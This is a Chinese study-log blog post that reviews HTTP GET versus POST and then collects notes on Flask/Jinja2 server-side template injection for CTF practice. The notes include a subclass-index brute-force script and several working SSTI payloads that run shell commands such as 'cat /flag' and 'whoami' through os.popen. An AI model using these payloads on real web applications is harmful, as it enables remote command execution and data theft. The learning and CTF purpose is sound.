2022年3月23日学习记录

一、复习post与get的区别

GET方式提交数据的格式:

1.格式:index.php?username=jack&password=123;(把参数数据队列加到提交表单的action属性所指的url中,值和表单内字段一一对应)

2.参数名和参数值之间没有空格

3.参数值不需要使用单双引号包括

 

GET方式提交数据的特点:

1.get方式在url后面拼接参数,只能以文本的形式传递数据

2.传递的数据量小,4KB左右(不同浏览器会有差异)

3.安全性低,会将数据显示在地址栏

4.速度快,通常用于对安全性要求不高的请求

 

 

POST方式提交数据:

通过HTTPpost机制,将表单内各个字段与其内容放置在html header内一起传送到action属性所指的url地址,用户看不到这个过程。

POST方式提交数据的特点:

1.安全性较高

2.传递数据量大,请求对数据长度没有要求

3.请求不会被缓存,也不会保留在浏览器历史纪录中

4.用于密码等安全性要求比较高的场合,提交的数据量比较大:如发布文章,上传文件。

 

GET与POST的区别

1、get是从服务器上获取数据,post是向服务器传送数据。

2. get是把参数数据队列加到提交表单的ACTION属性所指的URL中,值和表单内各个字段一一对应,在URL中可以看到。

post是通过HTTP post机制,将表单内各个字段与其内容放置在HTML HEADER内一起传送到ACTION属性所指的URL地址。用户看不到这个过程。

3.get传送的数据量较小,不能大于2KB。

post传送的数据量较大,一般被默认为不受限制。

4. get安全性非常低,post安全性较高。但是执行效率却比Post方法好。

 

 

二、继续学习Flask注入

 

Python-Flask框架

jinja2模板简介

Jinja2 是一个现代的,设计者友好的,仿照 Django 模板的 Python 模板语言。 它速度快,被广泛使用,并且提供了可选的沙箱模板执行环境保证安全;

何为模板注入

模板引擎(SST)

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。

 

如果没有SST,那python和html就是写在一个文件里,python代码和html代码混合coding这个,可想而知啊。。。

 

可是SST又是危险的,因为SST十分相信用户的输入,并且执行这些内容,甚至是本机函数都可以执行。

 

模板注入(SSTI)

模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果使用模板时并没用对用户的输入做任何处理或相信用户的输入,攻击者则可通过模板引擎执行系统命令,这就会造成模板注入。模板注入是可以防范的,下面会从攻 与 防进行介绍。

SSTI

构造基本类

首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如request):

 

''.__class__.__base__

[].__class__.__base__

().__class__.__base__

request.__class__.__base__

我们需要用到的是warnings.catch_warning所以遇到flask模板注入的时候,只要去找warnings.catch_warning即可

一般是在列表的第59个元素

或构造python脚本

 

import requests

url = "模板注入的url={{ [].__class__.__base__.__subclasses__()[%s] }}"

for i in range(200):

       url_all = url % i

       r = requests.get(url_all).text

       if 'warnings.catch_warning' in r:

              print(i, r)

              break

 

找到warnings.catch_warning就可以为所欲为了

{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen("ls /").read()}}

 

手工注入payload:/?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

就是将payload置于网页的URL之后,获取flag参数

理解这个payload

config为对象;

 

__class__:返回对象所属类;

 

__init__:类的初始方法,用以初始化实例;

 

__globals__(也可用func_globals):以字典返回内建模块;

 

OS就是返回字典里面的的一个模块

 

popen()返回一个输出流,通过read()读取里面的数据

 

----------------------------------------------------------

 

payload的构造过程:

 

(1)明确要利用的目标函数;

 

(2)找到目标函数被定义的位置,哪个模块(目标模块),或者哪个类(目标类)。

 

(3)构造前一部分payload,大部分思路是固定的,目的是拿到所有Object类的子类。

 

(4)这些子类很多没有加载,调用它们里面显式定义的方法,解析器就会加载并执行这个模块,如果模块刚好存在目标函数,就跳到第六步。(直接找到目标函数)

 

(5)如果第五步加载的模块没有目标函数,就考虑在被加载模块中存在导入目标模块的import语句。(间接导入)

 

(6)导入了目标函数或者目标模块后,在当前的命名空间就存在它们的变量,接下来就通过这些变量作为调用者,调用目标函数。

 

常用的payload:

 

{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("cat /flag").read()}}

 

// os._wrap_close类中的popen

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

 

// __import__方法

{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

 

// __builtins__

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

 

// Jinja2创建的url_for()方法

{{url_for.__globals__.os.popen("cat /flag").read()}}

 

 

 

 

 

循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明:

 

 

https://blog.csdn.net/weixin_42980713/article/details/84563058

(14条消息) php里的get是什么意思,php中post和get请求的区别是什么?_五星天皇岩里政男的博客-CSDN博客

(14条消息) Python-Flask框架(四), jinja2模板注入_99Kies的博客-CSDN博客

浅谈HTTP中Get与Post的区别 - hyddd - 博客园 (cnblogs.com)

(14条消息) Bugku CTF——WEB之SSTI学习笔记_奋斗中的小宸宸的博客-CSDN博客

posted @ 2022-03-23 22:19  heartBroken  阅读(35)  评论(0编辑  收藏  举报